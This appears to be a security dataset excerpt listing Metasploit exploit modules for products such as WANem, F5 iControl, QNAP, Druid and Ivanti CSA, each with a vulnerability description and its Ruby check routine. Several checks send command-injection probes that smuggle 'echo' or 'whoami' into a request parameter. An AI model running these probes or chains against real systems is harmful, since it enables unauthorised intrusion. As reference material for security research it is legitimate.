deardaniel/secdata-raw huggingface dataset:
Metasploit Module: WAN Emulator v2.3 Command Execution
Type: exploit
Path: modules/exploits/linux/http/wanem_exec.rb
Platform: unix
Disclosure date: 2012-08-12
References: CVE-2012-10041, OSVDB-85344, OSVDB-85345

Description:
This module exploits a command execution vulnerability in WAN Emulator
          version 2.3 which can be abused to allow unauthenticated users to execute
          arbitrary commands under the context of the 'www-data' user.
          The 'result.php' script calls shell_exec() with user controlled data
          from the 'pc' parameter. This module also exploits a command execution
          vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
          and vulnerable to command execution in argument one.

Check method (fingerprinting):
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
    data = "pc=127.0.0.1; "
    data << Rex::Text.uri_encode("echo #{fingerprint}")
    data << "%26"
    vprint_status("Sending check")

    begin
      res = send_request_cgi({
        'uri' => '/WANem/result.php',
        'method' => 'POST',
        'data' => data
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res and res.code == 200 and res.body =~ /#{fingerprint}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: F5 iControl Remote Root Command Execution
Type: exploit
Path: modules/exploits/linux/http/f5_icontrol_exec.rb
Platform: unix
Disclosure date: 2013-09-17
References: CVE-2014-2928, URL-http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html

Description:
This module exploits an authenticated remote command execution
          vulnerability in the F5 BIGIP iControl API (and likely other
          F5 devices).

Check method (fingerprinting):
get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body>
    <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword']
    })

    res.body =~ /y:string">(.*)<\/return/
    hostname = $1
    send_cmd("whoami")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword']
    })

    res.body =~ /y:string">(.*)<\/return/
    new_hostname = $1

    if new_hostname == "root.a.b"
      pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
        <SOAP-ENV:Body>
        <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
        <hostname>#{hostname}</hostname>
        </n1:set_hostname>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>
      }

      send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
        'method' => 'POST',
Metasploit Module: BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb
Disclosure date: 2026-02-06
References: CVE-2026-1731, URL-https://www.beyondtrust.com/trust-center/security-advisories/bt26-02, URL-https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis

Description:
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.

Check method (fingerprinting):
version = get_version
    return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?

    version = Rex::Version.new(version)
    return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')

    CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
  end
Metasploit Module: Hak5 WiFi Pineapple Preconfiguration Command Injection
Type: exploit
Path: modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
Platform: unix
Disclosure date: 2015-08-01
Authors: catatonicprime
References: CVE-2015-4624

Description:
This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
          We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
          command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
          you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
          known password if successful and may interrupt the user experience. These devices may typically be identified
          by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
          worm.

Check method (fingerprinting):
loggedin = login
    unless loggedin
      brutecheck = send_request_cgi(
        'method' => 'GET',
        'uri' => brute_uri
      )
      return Exploit::CheckCode::Safe('The target is not vulnerable') if !brutecheck || brutecheck.code != 200 || brutecheck.body !~ /own this pineapple/

      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable('The target is vulnerable') if cmd_success && cmd_success.code == 200 && cmd_success.body =~ /Executing/

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Pandora FMS Ping Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pandora_ping_cmd_exec.rb
Platform: linux
Disclosure date: 2020-03-09
References: CVE-2025-34088

Description:
This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
          net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'index.php')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.body =~ /Pandora/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    pandora_version = res.body.scan(%r{<div id="ver_num">v(.*?)</div>}).flatten.first
    version = Rex::Version.new(pandora_version)

    print_status("Pandora FMS version #{version}") if version

    if Rex::Version.new(version) <= Rex::Version.new('7.0NG')
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Target detected: version #{version}")
  end
Metasploit Module: AsusWRT LAN Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/asuswrt_lan_rce.rb
Platform: unix
Disclosure date: 2018-01-22
References: URL-https://blogs.securiteam.com/index.php/archives/3589, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt, URL-https://seclists.org/fulldisclosure/2018/Jan/78, CVE-2018-5999, CVE-2018-6000

Description:
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
          perform a POST in certain cases. This can be combined with another vulnerability in
          the VPN configuration upload routine that sets NVRAM configuration variables directly
          from the POST request to enable a special command mode.
          This command mode can then be abused by sending a UDP packet to infosvr, which is running
          on port UDP 9999 to directly execute commands as root.
          This exploit leverages that to start telnetd in a random port, and then connects to it.
          It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
Metasploit Module: Apache Druid 0.20.0 Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/apache_druid_js_rce.rb
Platform: linux
Disclosure date: 2021-01-21
References: CVE-2021-25646, URL-https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E, URL-https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py
Targets: Unix (in-memory)

Description:
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
          various types of requests; however, that feature is disabled by default.

          In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
          that both enables the JavaScript code-execution feature and executes the supplied code all
          at once, allowing for code execution on the server with the privileges of the Druid Server process.
          More critically, authentication is not enabled in Apache Druid by default.

          Tested on the following Apache Druid versions:

          * 0.15.1
          * 0.16.0-iap8
          * 0.17.1
          * 0.18.0-iap3
          * 0.19.0-iap7
          * 0.20.0-iap4.1
          * 0.20.0
          * 0.21.0-iap3

Check method (fingerprinting):
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')

    vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
    res = execute_command("echo #{genecho}")
    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200
      return CheckCode::Safe('The target is not vulnerable')
    end

    if res.body.include?(genecho)
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Unknown('Target does not seem to be running Apache Druid.')
  end
Metasploit Module: Wazuh server remote code execution caused by an unsafe deserialization vulnerability.
Type: exploit
Path: modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb
Platform: unix
Disclosure date: 2025-02-10
References: CVE-2025-24016, URL-https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016
Targets: Unix/Linux Command

Description:
Wazuh is a free and open source platform used for threat prevention, detection, and response.
          Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
          allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
          as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
          If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
          forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
          The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
          servers in the cluster) or, in certain configurations, even by a compromised agent.

Check method (fingerprinting):
# check Wazuh API access with the API credentials
    api_token = get_api_token
    return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?

    version = get_wazuh_version(api_token)
    return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?

    version = Rex::Version.new(version)
    unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
      return CheckCode::Safe("Wazuh version #{version}")
    end

    CheckCode::Appears("Wazuh version #{version}")
  end
Metasploit Module: QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi
Type: exploit
Path: modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb
Platform: %w[unix linux
Disclosure date: 2024-02-13
References: CVE-2023-47218, URL-https://www.qnap.com/en/security-advisory/qsa-23-57, URL-https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed

Description:
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
          QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
          (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.

          The vulnerable endpoint is the quick.cgi component, exposed by the device's web based administration feature.
          The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
          during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
          initialized, the quick.cgi component is disabled on the system.

          An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
          injection, allowing the attacker to execute arbitrary commands on the device.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/cgi-bin/quick/quick.cgi',
      'vars_get' => {
        'func' => Rex::Text.rand_text_alphanumeric(8)
      }
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    # This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533):

    # <?xml version="1.0" encoding="UTF-8"?>
    # <Storage>
    # <Result>failure</Result>
    # <Errcode>801</Errcode>
    # <Errmsg>
    # No Parameter.
    # </Errmsg>
    # </Storage>

    return Exploit::CheckCode::Detected('QNAP QTS target detected') if res.body.include? '<Result>failure</Result>'

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Spring Cloud Gateway Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/spring_cloud_gateway_rce.rb
Platform: linux
Disclosure date: 2022-01-26
References: CVE-2022-22947, URL-https://github.com/crowsec-edtech/CVE-2022-22947, URL-https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/, URL-https://tanzu.vmware.com/security/cve-2022-22947, URL-https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
Targets: Unix Command, Linux (Dropper)

Description:
This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway
          versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator
          endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL
          expressions to execute code and take control of the victim machine.

Check method (fingerprinting):
print_status('Checking if server is vulnerable')
    res = execute_command('whoami')

    if res
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  ## Refresh the gateway to trigger the routes with commands created
Metasploit Module: IBM Data Risk Manager Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/ibm_drm_rce.rb
Platform: linux
Disclosure date: 2020-04-21
References: CVE-2020-4427, CVE-2020-4428, CVE-2020-4429, URL-https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md, URL-https://seclists.org/fulldisclosure/2020/Apr/33, URL-https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/

Description:
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
          an unauthenticated attacker to achieve remote code execution as root.
          The first is an unauthenticated bypass, followed by a command injection as the server user,
          and finally abuse of an insecure default password.
          This module exploits all three vulnerabilities, giving the attacker a root shell.
          At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.
          The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on
          versions <= 2.0.4 according to IBM.

Check method (fingerprinting):
# at the moment there is no better way to detect AND be stealthy about it
    session_id = rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code == 302) &&
       res.headers['Location'].include?('localhost:8765') &&
       res.headers['Location'].include?('saml/idpSelection')
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  # post-exploitation:
  # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
Metasploit Module: Huawei HG532n Command Injection
Type: exploit
Path: modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
Platform: linux
Disclosure date: 2017-04-15
References: URL-https://github.com/rapid7/metasploit-framework/pull/8245
Targets: Linux mipsbe Payload

Description:
This module exploits a command injection vulnerability in the Huawei
          HG532n routers provided by TE-Data Egypt, leading to a root shell.

          The router's web interface has two kinds of logins, a "limited" user:user
          login given to all customers and an admin mode. The limited mode is used
          here to expose the router's telnet port to the outside world through NAT
          port-forwarding.

          With telnet now remotely accessible, the router's limited "ATP command
          line tool" (served over telnet) can be upgraded to a root shell through
          an injection into the ATP's hidden "ping" command.

Check method (fingerprinting):
httpd_fingerprint = %r{
      \A
      HTTP/1\.1\s200\sOK\r\n
      CACHE-CONTROL:\sno-cache\r\n
      Date:\s.*\r\n
      Connection:\sKeep-Alive\r\n
      Content-Type:\stext/html\r\n
      Content-Length:\s\d+\r\n
      \r\n
      <html>\n<head>\n
      <META\shttp-equiv="Content-Type"\scontent="text/html;\scharset=UTF-8">\r\n
      <META\shttp-equiv="Pragma"\scontent="no-cache">\n
      <META\shttp-equiv="expires"\sCONTENT="-1">\n
      <link\srel="icon"\stype="image/icon"\shref="/favicon.ico"/>
    }x

    begin
      res = send_request_raw(
        'method' => 'GET',
        'uri' => '/'
      )
    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - Could not connect to device")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res && res.code == 200 && res.to_s =~ httpd_fingerprint
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  #
  # The Javascript code sends all passwords in the form:
  #      form.setAction('/index/login.cgi');
  #      form.addParameter('Username', Username.value);
  #      form.addParameter('Password', base64encode(SHA256(Password.value)));
  # Do the same base64 encoding and SHA-256 hashing here.
  #
Metasploit Module: Ivanti Cloud Services Appliance (CSA) Command Injection
Type: exploit
Path: modules/exploits/linux/http/ivanti_csa_unauth_rce_cve_2021_44529.rb
Platform: unix
Disclosure date: 2021-12-02
References: CVE-2021-44529, URL-https://forums.ivanti.com/s/article/SA-2021-12-02, URL-https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529, EDB-50833
Targets: Unix Command, PHP Command, Linux Dropper

Description:
This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
          for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
          Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
          execute arbitrary code with limited permissions. Successful exploitation results
          in command execution as the `nobody` user.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = check_vuln
    return CheckCode::Unknown('No response received from the target.') unless res
    return CheckCode::Safe('The target is not vulnerable') unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/

    begin
      parsed_html = Nokogiri::HTML.parse(res.body)
    rescue Nokogiri::SyntaxError => e
      return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")
    end
    csa_version = parsed_html.at_css('c123')
    if csa_version&.text&.blank?
      CheckCode::Vulnerable('Could not retrieve version.')
    else
      CheckCode::Vulnerable("Version: #{csa_version.text}")
    end
  end
Metasploit Module: Craft CMS Twig Template Injection RCE via FTP Templates Path
Type: exploit
Path: modules/exploits/linux/http/craftcms_ftp_template.rb
Platform: %w[unix linux
Disclosure date: 2024-12-19
References: CVE-2024-56145, URL-https://github.com/Chocapikk/CVE-2024-56145, URL-https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms
Targets: Unix/Linux Command Shell

Description:
This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
          The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).

Check method (fingerprinting):
vprint_status('Performing vulnerability check...')
    nonce = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => { '--configPath' => "/#{nonce}" }
    )

    if res&.body&.include?('mkdir()') && res.body.include?(nonce)
      CheckCode::Vulnerable('The target is vulnerable')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end